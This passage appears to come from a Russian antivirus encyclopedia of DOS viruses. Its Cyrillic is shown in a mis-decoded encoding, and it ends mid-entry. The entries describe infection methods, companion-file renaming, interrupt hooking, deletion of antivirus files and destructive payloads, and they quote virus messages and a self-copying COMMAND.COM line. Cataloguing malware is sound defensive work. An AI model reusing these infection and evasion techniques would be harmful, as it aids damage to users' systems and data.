Ïðè çàïóñêå ïðîãðàìì, èìåíà êîòîðûõ ñîäåðæàòñÿ â ñëåäóþùåé ñòðîêå
AIDSWEBADINFDRWEB âèðóñ âûâîäèò îäíî èç ñîîáùåíèé:
Program too big to fit in memory
Division by 0
Error in EXE file
Memory allocation error!
Bad command or file name
Cannot load COMMAND.COM . . .
Internal stack overflow!
Incorrect DOS version
This program requires Microsoft Windows.
è áëîêèðóåò çàïóñê äàííûõ ïðîãðàìì. Èíîãäà (åñëè êîìàíäíàÿ ñòðîêà
íà÷èíàåòñÿ ñ ïàðàìåòðà @@) ìîæåò âûâåñòè ñîîáùåíèå:
(c) 1996y by TechnoRat "HDL" GenNo: 000122.
ãäå ïàðàìåòð "GenNo" ÿâëÿåòñÿ ñ÷åò÷èêîì çàðàæåíèé. Äî ìåíÿ äîøåë 122
èíôèöèðîâàííûé ôàéë. Ñîäåðæèò òåêñòû:
?VirMON-I-Virus has been installed successfully!
?VirMON-W-execution 0 error!
(C)reated by HARD WISDOM!!! (hacker)
Harrier.14058
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Âèðóñ ñîñòîèò èç ñïëîøíûõ êîìàíä
ïåðåõîäîâ, êîòîðûå èäóò ïîñëå 1-10 "ðàáî÷èõ âèðóñíûõ" èíñòðóêöèé. Ò.î.,
ïîñëåäîâàòåëüíî âûïîëíÿþùèåñÿ âèðóñíûå èíñòðóêöèè ðàçáðîñàíû ïî âñåìó
òåëó âèðóñà è ïåðåäàþò äðóã äðóãó óïðàâëåíèå ñ ïîìîùüþ èíñòðóêöèé
áåçóñëîâíûõ ïåðåõîäîâ. Òàêèì ñòèëåì ïðîãðàììèðîâàíèÿ àâòîð, âèäèìî,
õîòåë ïîêàçàòü "ãëóáèíó" ñâîåãî òàëàíòà.Âèðóñ çàïèñûâàåò â MBR æåñòêîãî
äèñêà êîä, êîòîðûé èíîãäà âûâîäèò íà ýêðàí òåêñò:
ËÍÄÍÄÍ I am the Next ÍÄÍÄÍÄÍ DARKLAND is the Í
Ò Â ÖĬ ÒĬ ÒĬ Ò ÒĬ ÒĬ kingdom of Hackers
º ¦ º ¦ º ¦ º ¦ º º º ¦ Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä
ÇÄ´ ÇÄ´ ÇÂÙ ÇÂÙ º ÇÄ ÇÂÙ I come from dark...
º ¦ º ¦ ºÀ¬ ºÀ¬ º º ºÀ¬ I invade Your PC...
Ð Á Ð Á Ð Á Ð Á Ð ÐÄÙ Ð Á I am Your death...
ÍÄÍÄÍ from DARKLAND ÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍÄÍ
Ïðè ñòàðòå ïðîãðàììû DRWEB âèðóñ ðàçðóøàåò åå,çàïèñûâàÿ â íåå ïðîöåäóðó
âûâîäà ñîîáùåíèÿ "Lame program MUST DIE!!!".Áëîêèðóåò âûâîä íà ïðèíòåð,
ïå÷àòàÿ òåêñò "VIRLIST.WEB is Sucks!!!". Òàêæå, â íåêîòîðûõ äðóãèõ
ñèòóàöèÿõ âèðóñ âûâîäèò íà ýêðàí òåêñòû:
This program requires Melcosoft Windows.
?VirMON-I-Virus has been installed successfully!
Division by zero!
IBMBIO<> Message added specially for PolyGris.
Program too big to fit in memory
Cannot load COMMAND.COM . . .
ALLE:WP (c) 1996,1997y by TechnoRat "NextHDL" GenNo: 000008. Release 0
Peripherals not responded!
Memory allocation error!
RAM parity error!
CPU mode thunking error!
Incorrect DOS version
Internal stack overflow!
Error in EXE file
Packed file is corrupt
Power integrity error!
Mad command or file name
I/O gate damaged!
Warning, FPU overcooled!
Low CPU voltage!
Éͱ²ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º ²± ° ° º
º ±² Hi, Top Guy, we meet again! Today is weekend and You have º
º ²± the lot of free time. This is not time to drink VODKA and to º
º ±² fuck GIRLS! This is time to brain relaxing. I present to You º
º ²± this small fucking problem, solve it. If You are the TopGuy º
º ±² You will try to remove me. Good luck! º
º ²± A-a-a, pal! I am not the dangerous virus, the lame Dr.Web º
º ±² has the wrong opinion, Daniloff was mistaken. And so on do º
º ²± not read about me in the VirList.Web, this file contain too º
º ±² many errors. But this is the NewVersion. . . Who know??? º
º ²± , º
º ±² Crash & Burn <°\___ TechnoRat º
º ²± ~~ º
Èͱ²Í[þ]ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ[þ]ͼ
A20 moving failure!
DMA channels crosslinked!
?VirMON-W-execution 0 error!
Bad command or file name
Cooler device emergency!
This program requires Microsoft Windows.
HDDError
Îïàñíûé çàãðóçî÷íûé âèðóñ. Ïðè çàðàæåíèè MBR æåñòêèõ äèñêîâ è
çàãðóçî÷íûõ ñåêòîðîâ ôëîïïè-äèñêîâ íå ñîõðàíÿåò îðèãèíàëüíûå ñåêòîðà.
"Îòðåçàåò" 1 Kb îò ïàìÿòè DOS, íî ðàçìåùàåò ñâîþ ðåçèäåíòíóþ êîïèþ âî
âòîðîé ïîëîâèíå òàáëèöû âåêòîðîâ ïðåðûâàíèé è "ïåðåõâàòûâàåò" INT 40h.
Âûâîäèò ñëåäóþùèå ñîîáùåíèÿ "FATAL ERROR:", "CPU FAILED.","HDD ERROR.".
HeadMonth.473
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Â 1994 ãîäó ïûòàåòñÿ ôîðìàòèðîâàòü ïåðâóþ
äîðîæêó æåñòêîãî äèñêà íà ãîëîâêå, ñîîòâåòñòâóþùåé çíà÷åíèþ òåêóùåãî
ìåñÿöà.
Helicopter.777
Ðåçèäåíòíûé âèðóñ. Âíåäðÿåòñÿ â ñåðåäèíó COM-ôàéëîâ (îïðåäåëÿåò ôîðìàò
ôàéëà ïî äâóì áóêâàì ðàñøèðåíèÿ - "OM"). Èùåò âî âñåì ôàéëå
ïîñëåäîâàòåëüíîñòü 777 áàéò ñî çíà÷åíèåì 0, è åñëè òàêàÿ
ïîñëåäîâàòåëüíîñòü áóäåò íàéäåíà, òî âèðóñ çàïèñûâàåò ñåáÿ â äàííóþ
îáëàñòü. Ïðè óñòàíîâêå ãðàôè÷åñêîãî ðåæèìà èçîáðàæåíèÿ 320x200 (f.0005
INT 10h) íà ýêðàíå ïîÿâëÿåòñÿ ïðîëåòàþùèé âåðòîëåò. Ñîäåðæèò
çàøèôðîâàííûé òåêñò "I~m Mashka !! By Crazy !".
HelloUser.402
Íåîïàñíûé øèôðîâàííûé âèðóñ. Ïðîèçâîäèò ïîèñê è çàðàæåíèå *.CoM-ôàéëîâ
íà äèñêå C:. Ñîäåðæèò òåêñò "*.CoM << Ebbelwoi >> by (Û)SíRíUS 10-93
D-63225".
HelloUser.545
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ïðîèçâîäèò ïîèñê *.CoM-ôàéëîâ íà äèñêå
C:. Åñëè çíà÷åíèå äíÿ ñîâïàäàåò ñî çíà÷åíèåì ìåñÿöà âèðóñ âûâîäèò íà
ýêðàí òåêñò:
Hello User,You have got The HEXAMETRICX Virus !!!
T o d a y is the month's B i r t h d a y !
I was written in the City of Langen(Hessen),Germany
by SuIgImErIuS (Û)1993 v.1.3
GREETINGS TO ALL OTHER VIRUS WRITERS !
Helloween.1063, 1182, 1227, 1288, 1376(1,2), 1384, 1447, 1839, 1888, 2470
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Íåêîòîðûå èç íèõ ñîäåðæàò çàøèôðîâàííóþ
ñòðîêó "SCANSHIETRAPVIRUVCOPASTAALIKAZORREX.MANDUEXEUCOMVIRTCLEATSAFNAV
.INI.BOOT3P.E". Íå çàðàæàþò ïðîãðàììû, ñîäåðæàùèå ïî 4 áóêâû èç äàííîé
ñòðîêè (SCAN*, SHIE*, TRAP*, VIRU*, VCOP*,..). Helloween.1182,1227,1288
"ïåðåõâàòûâàþò" INT 08, 13h è èíîãäà äàþò äèñêîâóþ îøèáêó -äëÿ îïåðàöèé
ñ INT 13h âîçâðàùàþò "âçâåäåííûé" ôëàã ïåðåíîñà CF è çíà÷åíèå â
ðåãèñòðå AH=80h. Helloween.1227, 1447 ñîäåðæàò òåêñò "(c) 1992 ing. Jan
Tomisek. Keep smiling.".
1 íîÿáðÿ Helloween 1376(1), 1384, 1447 âûâîäÿò òåêñò:
Nesedte porad u pocitace a zkuste jednou delat neco rozumneho!
*******************
!! Poslouchejte HELLOWEEN - nejlepsi metalovou skupinu !!
21 ôåâðàëÿ Helloween.1376(2) âûâîäèò ñîîáùåíèå:
Zdravim uzivatele pocitacu hlavne vsechny LENKY a nejvic tu nasi!
Preji ti vsechno nejlepsi k tvemu svatku ahoj P.
Helloween.1839, 1888 ñîîáùàþò 10 è 20 ÷èñëà êàæäîãî ìåñÿöà:
Virus napsany specialne pro inzenyra ZAKA ze SPS
*******************
Nepodlehejte panice, mate nakazeno jen par souboru...
(c) 1993 II.A 1988
Tak a ted si vyzkousime treba: RESET
Kdyby kazdy nespokojeny student napsal virus, tak v nasich skolach by
ani jiny software nekoloval a McAfee by se divil...
À Helloween.2470 âûâîäèò 5 è 24 ÷èñëà êàæäîãî ìåñÿöà:
Ü Ü Ü
ß ß Âm
ÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛ ÛÛ ÛÛ ÄÒÄÒÄÒÄ zdrojovy
ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ º º º text:
ÛÛ ÛÛ ÛÛ ÛÛÛÛ ÄÐÄÐÄÐÄ 867 radku
ÛÛ ÛÛÛÛÛÛÛÛ ÛÛ ÛÛ
ÛÛÛÛÛÛÛÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛ & spol.
(c) 1993 II.A 1988
Specialne pro ucitele SPS Prostejov:
Ing. M. Zaka, Ing. J. Melku, Ing. P. Cizka, Ing. K. Kabrhela
Ing. M. Blahu, Ing. M. Pavlovskeho a dalsi vyucujici.
Specialni podekovani patri:
Macrosoftu (sorry Microsoftu) za MeSsy DOS
Borlandu za TASM, TLINK, TD
Zdenku Breitenbacherovi za EDDIE 1.17
HellSpawn.1141
Íåîïàñíûé ðåçèäåíòíûé ñòåëñ-âèðóñ-ñïóòíèê. Ïåðåõâàòûâàåò INT 09, 10h,
13h, 1Ch, 21h. Ïðè óñòàíîâêå 13h ãðàôè÷åñêîãî âèäåîðåæèìà (640x320)
ðèñóåò â ëåâîì âåðõíåì óãëó ýêðàíà ÷òî-òî ïîõîæåå íà ïëàìÿ. Ïðè íàæàòèè
íà Ctrl-Alt-Del â öåíòðå ýêðàíà òàêæå âûâîäèò íå÷òî ïîõîæåå íà îãîíü.
Ñîäåðæèò òåêñò "HellSpawn v0.91a (c) 1993 by Stormbringer".
HH&H.4087, 4091, 4093, 4115
Íåîïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. Ïðè çàðàæåíèè COM-ôàéëà
ïåðåèìåíîâûâàþò èõ â ôàéë â *.A*, èíôèöèðóþò åãî è ïåðåèìåíîâûâàþò
îáðàòíî. Ïî ïîíåäåëüíèêàì çàïèñûâàþò çíà÷åíèå 0 â ïîðò A0h è B0h â ïîðò
41h. Ïðè îáíàðóæåíèè íà ýêðàíå ñòðîêè "ESIK" âûâîäÿò íà ýêðàíå â
ãðàôè÷åñêîì âèäåîðåæèìå ñêà÷óùèé øàðèê, êîòîðûé çàïîëíÿåò âåñü ýêðàí
òî÷êàìè. Ñîäåðæàò îäèí èç ñëåäóþùèõ òåêñòîâ:
#(-28=CIPV]HARD HIT & HEAVY HATE the HUMANS !! [ H.H.& H.H. the H. ]
#(-28=CIPV] ñåìüå âñå âçâåñèâ çàíîâî ðåøèëè îêîí÷àòåëüíî:ÊÎÌÏÀÐÒÈÞ
ÇÞÃÀÍÎÂÀ ÏÎÄÄÅÐÆÈÌ ÎÁßÇÀÒÅËÜÍÎ
Hhhh.246
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò "The MiNi-HHHH".
Hi.460, 802, 892, 895, 924
Íåîïàñíûå (Hi.802 - îïàñíûé) ðåçèäåíòíûå âèðóñû. Ñîäåðæàò ñòðîêó "Hi"
èëè "IH". Hi.802 èìååò ñòðîêó "AOB 3".Hi.895 ïîñëå 1 îêòÿáðÿ ïðîèçâîäèò
íåêèå ìóçûêàëüíûå çâóêè. Hi.924 ïåðèîäè÷åñêè "ïåðåâîðà÷èâàåò" ýêðàí.
Hi.892 ïîñëå 23 îêòÿáðÿ ïðè áûñòðûõ ïåðåìåùåíèÿõ ìûøè âûâîäèò íà ýêðàí
"NU MAI MUSKA MOUSE-il CA A LOVESTI PESTE COAIE". Hi.802 ïî
âîñêðåñåíüÿì áëîêèðóåò ðàáîòó ñ ïðèíòåðîì, 10 ìàÿ - ñ ïîñëåäîâàòåëüíûìè
ïîðòàìè, 25 íîÿáðÿ óäàëÿåò âñå çàïóñêàåìûå ôàéëû, ïî ñåäüìûì ÷èñëàì
ìåñÿöà ÷àñòî ïåðåçàãðóæàåò ñèñòåìó.
Hider.1782
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Óäàëÿåò ôàéëû äàííûõ íåêîòîðûõ àíòèâèðóñîâ
*.MS è *VIR.DAT. 13 ÷èñëà âûâîäèò ñîîáùåíèå:
Anston Rant is back for more!
Whoa, looks like you be missin some files there, Bud!
Ïîñëå ÷åãî óñòàíàâëèâàåò âñåì ôàéëàì â êîðíåâîì äèðåêòîðèè äèñêà C:
àòðèáóò "ñêðûòûé" (hidden).
HideNowt
Ïðèìåíÿåò àíòèòðàññèðîâî÷íûå ïðèåìû. Ñîäåðæèò ñòðîêó "Yx", êîòîðóþ
èñïîëüçóåò, êàê èäåíòèôèêàòîð çàðàæåíèÿ ôàéëîâ.
Hiroshima.826
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Çàðàæàåò ôàéë C:\COMMAND.COM.
Ïåðèîäè÷åñêè óíè÷òîæàåò ñîäåðæèìîå "âèí÷åñòåðà".
HLL-âèðóñû.
Âèðóñû, íàïèñàííûå íà ÿçûêàõ âûñîêîãî óðîâíÿ (High Level Language).
Ïîäðàçäåëÿþòñÿ íà 3 âèäà:
HLLC - âèðóñû-ñïóòíèêè (Companion).
HLLO - âèðóñû, çàïèñûâàþùèåñÿ ïîâåðõ êîäà ïðîãðàìì (Overwrite).
HLLP - âèðóñû, ñîõðàíÿþùèå ðàáîòîñïîñîáíîñòü èíôèöèðîâàííûõ ïðîãðàìì
(Parasitic).
HLLC.5000
Óïàêîâàí LZEXE. Ïðîèçâîäèò ïîèñê *.exe ôàéëîâ â òåêóùåì êàòàëîãå è
ñîçäàåò äëÿ íèõ âèðóñû-ñïóòíèêè ñ òàêèìè æå èìåíàìè, íî ñ ðàñøèðåíèåì
COM. Ñîçäàåò 3 âèðóñà-ñïóòíèêà çà îäèí ñåàíñ ðàáîòû.
HLLC.AIDS.8064
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ-ñïóòíèê. Ñîçäàåò äëÿ EXE-ôàéëîâ âèðóñíûé
ôàéë-êîìïàíüîí ñ ðàñøèðåíèåì COM. Ïî îêîí÷àíèè ðàáîòû, åñëè EXE ôàéë-
"õîçÿèí" íå íàéäåí, âèðóñ âûâîäèò òåêñò:
Your computer is infected with ...
Aids Virus II
- Signed WOP & PGT of DutchCrack -
Getting used to me ?
Next time, Use a Condom .....
HLLC.April1st
Íåðåçèäåíòíûé âèðóñ-ñïóòíèê, íàïèñàííûé íà Turbo C, â ôîðìàòå EXE-ôàéëà
è óïàêîâàííûé "êîìïðåññîðîì" PKLITE 1.03. Ïðîèçâîäèò ïîèñê è çàðàæåíèå
*.exe ôàéëîâ íà òåêóùåì äèñêå. Ïðè íàõîæäåíèè *.exe ôàéëà âèðóñ ñîçäàåò
ôàéë e.lex, çàïèñûâàÿ â íåãî ñâîé âèðóñíûé êîä, ïåðåèìåíîâûâàåò
EXE-ôàéë â ôàéë ñ òàêèì æå èìåíåì, íî ñ ðàñøèðåíèåì OVL è
ïåðåèìåíîâûâàåò ôàéë e.lex â ôàéë ñ èìåíåì è ðàñøèðåíèåì îðèãèíàëüíîãî
EXE-ôàéëà. Ïðè çàïóñêå òàêîãî EXE-ôàéëà, ñîäåðæàùåãî âèðóñ, âèðóñ
ïðîèçâîäèò ïîïûòêè íàéòè è çàðàçèòü ñëåäóþùèé EXE-ôàéë, ïîñëå ÷åãî
çàïóñêàåò íà âûïîëíåíèå OVL-ôàéë, ñîäåðæàùèé êîä èíôèöèðîâàííîé
ïðîãðàììû. Åñëè òàêîé OVL-ôàéë íå áóäåò íàéäåí, òî âèðóñ âûâîäèò
ñîîáùåíèå "Abnormal program termination". 1 àïðåëÿ âèðóñ âûâîäèò íà
ýêðàí ïîçäðàâëåíèå:
WWWWWW WW
W W W W
W W W W
W W
W W W WWWWWW WWWW WWWWW
W W W W W W W W W
W W W WWWWW W W WWWW WWW WWWW
W W W W W W W W W
WWWWWWW W W W W W W WWWWW
W WWWWW WW
W W W W WW
W W WWWWW WW
W W W W
W W WW W WW
HLLC.Bolek
Ïðè ïîèñêå è çàðàæåíèè EXE-ôàéëîâ ïåðåõâàòûâàåò INT 01 è INT 03. Ìîæåò
ïåðåçàãðóçèòü ñèñòåìó. Ïðèñâàèâàåò EXE-ôàéëàì ðàñøèðåíèå OVB è ñîçäàåò
âèðóñíûé ôàéë ñ èìåíåì îðèãèíàëüíîãî EXE-ôàéëà. Ñîäåðæèò òåêñò "Bolek!
Bolek! Bolek!".
HLLC.Chainik
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Ïðîèçâîäèò ïîèñê *.EXE-ôàéëîâ íà äèñêå C:
è çàðàæàåò èõ, åñëè â êàòàëîãå çàðàæàåìîãî EXE-ôàéëà èìåþòñÿ åùå õîòÿ
áû 2 ôàéëà ñ òàêèìè æå èìåíàìè (íàïðèìåð, NC.EXE, NC.MNU, NC.INI,...).
Âèðóñ ïðèñâàèâàåò EXE-ôàéëó ñëó÷àéíîå ðàñøèðåíèå, çàïèñûâàåò ñâîé êîä â
ôàéë ñ èìåíåì çàðàæàåìîãî EXE-ôàéëà è ñîõðàíÿåò â ñâîåì òåëå íàçâàíèå
ïåðåèìåíîâàííîãî èíôèöèðîâàííîãî EXE-ôàéëà. Ñ 1 ÿíâàðÿ 1997 ãîäà ïî
âîñêðåñåíüÿì âèðóñ "âåøàåò" ñèñòåìó, âûâåäÿ íà ýêðàí òåêñò:
Ñåãîäíÿ âîñêðåñåíüå!
ß îòäûõàþ!
Ñ 13 ôåâðàëÿ ïî 13 ÷èñëàì ìåñÿöà âèðóñ ïðîèãðûâàåò ãèìí Êàçàõñòàíà è
ïîñëåäîâàòåëüíî âûâîäèò íà ýêðàí ñëåäóþùèå ñòðîêè:
È âñå ðàâíî òû ×ÀÉÍÈÊ, ðàç äî ñèõ ïîð ìåíÿ íå îáåçâðåäèë!
×åãî ñìîòðèøü, âûêëþ÷àé ñêîðåé êîìïüþòåð!
ß æå âèðóñ, äóðåíü!
Âûêëþ÷àé, à òî ÿ ôàéëû ñòèðàòü áóäó!
×òî, íå âåðèøü?
ß ñåðüåçíî!
Ñåé÷àñ ÷åãî-íèáóäü ñîòðó...
Âîò ÿ ñòåð ABCDEFGH.EXE
Ïî÷åìó ÿ åùå âêëþ÷åí?
Íó òû òîðìîç, Âàñÿ!
Õî÷åøü, ÷òîáû ÿ åùå ÷åãî-íèáóäü ñòåð?
Âîò, ïîæàëóéñòà, ñòåð IJKLMNOP.EXE
Ìóæèê, íå äîâîäè ìåíÿ!
Âûêëþ÷àé ìåíÿ ñêîðåé!
Íó, êàê õî÷åøü, ñåé÷àñ ÿ ñîòðó 100 ôàéëîâ...
... è óäàëÿåò ôàéëû íà äèñêå C:.
HLLC.Chs.6208
Îïàñíûé íåðåçèäåíòíûé âèðóñ-ñïóòíèê. Óïàêîâàí óòèëèòîé DIET. Íàéäåííûì
COM è EXE-ôàéëàì âèðóñ ïðèñâàèâàåò èìÿ, îòëè÷àþùååñÿ òîëüêî ïîñëåäíåé
áóêâîé. Ê ïîñëåäíåé áóêâå âèðóñ ïðèáàâëÿåò çíà÷åíèå ASCII 2, íàïðèìåð,
åñëè ôàéë íàçûâàëñÿ FILE.EXE, òî âèðóñ ïåðåèìåíîâûâàåò åãî â FILG.EXE è
ñîçäàåò âèðóñ-ñïóòíèê ñ èìåíåì îðèãèíàëüíîãî ôàéëà - FILE.EXE. Âèðóñ
ðàçðóøàåò íåêîòîðûå ôàéëû, âûâîäèò ñîîáùåíèå:
Oh, excuse me, but something destroyed...
You can prevent your data lossing if you will go to bad,
because night is a time for sleeping (not for working !!!)
HLLC.CP
Íåîïàñíûé âèðóñ-ñïóòíèê. Íàïèñàí â ôîðìàòå EXE-ôàéëà è óïàêîâàí PKLITE.
Ïðè ñòàðòå âèðóñ ïðîèçâîäèò ïîèñê è çàðàæåíèå ôàéëîâ C:\DOS\MEM.EXE è
C:\DOS\SMARTDRV.EXE. Çàòåì âèðóñ ïðîèçâîäèò ïîèñê è çàðàæåíèå *.EXE-
ôàéëîâ â òåêóùåì êàòàëîãå. Çàðàæåíèå ïðîèñõîäèò ñëåäóþùèì îáðàçîì:
âèðóñ ñ ïîìîùüþ êîìàíäíîãî ïðîöåññîðà ïðîèçâîäèò ïåðåèìåíîâàíèå ôàéëà-
æåðòâû â ôàéë ñ ðàñøèðåíèåì DAT, íàïðèìåð, ôàéë MEM.EXE áóäåò
ïåðåèìåíîâàí â MEM.DAT, çàòåì, îïÿòü æå, ñ ïîìîùüþ êîìàíäíîãî
ïðîöåññîðà âèðóñ ïðîèçâîäèò êîïèðîâàíèå ôàéëà, èç êîòîðîãî âèðóñ
ñòàðòîâàë, â ôàéë - æåðòâó, íàïðèìåð ñëåäóþùèì îáðàçîì:
COMMAND.COM /C COPY CP.EXE MEM.EXE >NUL. Âèðóñ óäàëÿåò ôàéëû CHKLIST.MS
è CHKLIST.CP. 15 ÷èñëà íå÷åòíîãî ìåñÿöà âèðóñ âûâîäèò òåêñò:
Let me present: CP-VIRUS!
Copyright (c) 1994-1995 CP-MaN of CP-DeZiGN
Written in Vasteras of Sweden!
Ya know... Your mom can't save ya know!
ÜÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜÜÜ
Greets: Û Û Û Oh, dear! I've trashed some sectors, but
Û Û Û still have them in memory (encrypted) and
Phalcon Û Ûßßßßßßßß will write them back to your disk if you
Skism, Û Û just do as I say. Shit happens!
Immortal Û Û
Riot, ÛÜÜÜÜÜÜÜ Û
Dark
Avenger
249992 left, then you will get your data back. Happy waiting!
Check this counter. If you reset or turn your computer off now all your
data will be lost forever. However, if you wait until the counter has
reached zero you won't lose any data! It's your choice. Happy waiting!
CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP
CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP
CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP
CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP
CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP
CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP CP
ìèãàåò ëàìïî÷êàìè NumLock, CapsLock, ScrollLock è èñïîëíÿåò íåêîòîðóþ
ìåëîäèþ. Ïðèìåðíî ÷åðåç 250000 ñåêóíä âèðóñ äëÿ ïîëüçîâàòåëåé,
äîæäàâøèõñÿ ýòîãî ñîáûòèÿ âûâîäèò òåêñò:
Finished! I'm impressed. You did really wait didn't you? Well, I just want
you to know that I keep my promises. No data is destroyed.
Oh, just one more thing. This virus does not destroy data at all, it would
have been enough to reset the computer. Hope you enjoyed waiting! Hehehe...
Òàêæå ñîäåðæèò òåêñò "Very fast interrupt handler (C) PC Ace
Technologies.".
HLLC.Delme
Íåîïàñíûé âèðóñ-ñïóòíèê. Ïåðåèìåíîâûâàåò çàðàæàåìûå ôàéëû, ïðèñâàèâàÿ
èì èìåíà ñ ðàñøèðåíèåì, äâå ïîñëåäíèå áóêâû êîòîðûõ XL è ñîçäàåò ôàéë ñ
êîäîì âèðóñà, íî ñ èìåíåì îðèãèíàëüíîãî ôàéëà. Äëÿ ôàéëà WIN.COM
ñîçäàåò ôàéë TTENG.DLL. Äëÿ ïðîâåðêè ðàçðåøåíèÿ çàïèñè íà äèñê ñîçäàåò
è óäàëÿåò ôàéë DELME.ZZZ.
HLLC.Dope.4870, 5219
Íåîïàñíûå âèðóñû-ñïóòíèêè. Íàïèñàíû íà Turbo C++ â ôîðìàòå COM-ôàéëà è
óïàêîâàíû PKLITE 1.15. HLLC.Dope.5219 ñîäåðæèò òåêñò "DOPE By
KiLLeRbytE".
HLLC.Dosinfo
Îïàñíûé âèðóñ-ñïóòíèê. Ïðîèçâîäèò ïîèñê *.BAT ôàéëîâ. Åñëè â êàòàëîãå,
ñîäåðæàùåì íàéäåííûé BAT-ôàéë âèðóñîì íå áóäåò íàéäåí ôàéë DOSINFO.EXE,
òî âèðóñ ñîçäàåò äàííûé ôàéë è çàïèñûâàåò â íåãî âèðóñíûé êîä. Ïîñëå
ýòîãî âèðóñ ñîçäàåò ôàéë OVERWR, â êîòîðûé çàïèñûâàåò ñòðîêè:
@echo off
dosinfo.exe
ïîñëå êîòîðûõ âèðóñ çàïèñûâàåò ñîäåðæèìîå íàéäåííîãî BAT-ôàéëà.
Îðèãèíàëüíûé BAT-ôàéë óäàëÿåòñÿ, à ôàéëó OVERWR ïðèñâàèâàåòñÿ èìÿ ýòîãî
BAT-ôàéëà. 25 äåêàáðÿ, 7 îêòÿáðÿ, 1 ìàÿ, 17 èþíÿ, 3 îêòÿáðÿ, 9 íîÿáðÿ,
13 àâãóñòà âèðóñ óäàëÿåò ôàéë C:\AUTOEXEC.BAT, ïîñëå ÷åãî âûâîäèò â
ãðàôè÷åñêîì ðåæèìå êàðèêàòóðó íà Ýðèêà Õîíåêåðà (áûâøåãî ãåíåðàëüíîãî
ñåêðåòàðÿ êîìïàðòèè ÃÄÐ), íèæå êîòîðîé ðàñïîëîæåí òåêñò:
Hiermit wurde Ihre Autoexec auf Anweisung des Ministerrates
der Deutschen Demokratischen Republik gelÔscht.
Erichs letzte Rache!
P.S. Ich komme wieder!
È ïðîèãðûâàåò íàöèîíàëüíûé ãèìí ex-ÃÄÐ.
HLLC.Halley
Ñîäåðæèò òåêñòû:
HALLEY -virus v.1.0
-------------------
# Don`t panic, I`m the harmless one.
I just want to travel...
Have a nice day!
Shit happens... at .
I WANT TO TRAVEL!! I WANT TO TRAVELL!!
HLLC.Hambre
Îïàñíûé íåðåçèäåíòíûé âèðóñ, íàïèñàííûé íà ÿçûêå Borland C++ â ôîðìàòå
EXE-ôàéëà. Óäàëÿåò â òåêóùåì êàòàëîãå ôàéëû *.D??. Ñîäåðæèò òåêñò
"HAMBRE.C HAMBRE".
HLLC.Lab5
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Ïîñëåäîâàòåëüíî ñîçäàåò íà äèñêàõ A: è B:
ôàéëû config.exe, MsDos.exe, Io.exe, ñîäåðæàùèå âèðóñíûé êîä. Ò.å.,
åñëè íà äèñêå óæå ïðèñóòñòâóåò ôàéë config.exe, òî âèðóñ ñîçäàåò ôàéë
MsDos.exe. Âèðóñ èùåò íà ñëó÷àéíîì ëîãè÷åñêîì äèñêå *.exe-ôàéë,
ïåðåèìåíîâûâàåò åãî â ôàéë, ñîäåðæàùèé âìåñòî ïåðâîé áóêâû èìåíè áóêâó
"Q", è ñîçäàåò ñ ïîìîùüþ êîìàíäíîãî ïðîöåññîðà âèðóñíûé ôàéë ñ
îðèãèíàëüíûì èìåíåì. Ïîñëå ýòîãî âèðóñ ñîçäàåò íîâûé ôàéë
C:\AUTOEXEC.BAT, â êîòîðûé çàïèñûâàåò âûçîâ ñîçäàííîé èíôèöèðîâàííîé
ïðîãðàììû. Ñîäåðæèò òåêñòû "DON'T CATCH ME , REMEMBER", "Ïîæàëóéñòà íå
ñòèðàéòå ôàéë lab_5.res..Ýòî î÷åíü âàæíûå äàííûå äëÿ ìåíÿ.Ñïàñèèáî Âàì"
HLLC.Mimicry
Ñîäåðæèò òåêñòû "Mimicry virus v. 2.1 . Proudly in Nadym.","Your fuckin
computer so fuckin bad ... I want cuureee him ... ha-Ha-HA".
HLLC.Murmansk
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ-ñïóòíèê. Ìîæåò çàâåñèòü ñèñòåìó è âûâåñòè
òåêñò:
Dear user! I worked whole day. And now I want to rest!
If you want to discuss anything call 911.
Get out. Go home. "Dear user".
Òàêæå ñîäåðæèò â ñåáå òåêñòû:
Murmansk - Copyright 1996 Genius&Vint Co..
Intel(tm) label not found...
HLLC.Pokusny
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Ñîçäàåò íà òåêóùåì äèñêå è ñðàçó æå
óäàëÿåò ôàéë POKUSNY.TUA. Ïðè ïåðâîì ñòàðòå âèðóñ îáõîäèò âñå äåðåâî
ïîäêàòàëîãîâ íà äèñêå C: è çàïèñûâàåò ñòðóêòóðó äèñêà â ôàéë
C:\IMAGINE.PUT. Ïðè ïîñëåäóþùèõ ñòàðòàõ âèðóñ áåðåò äàííóþ èíôîðìàöèþ
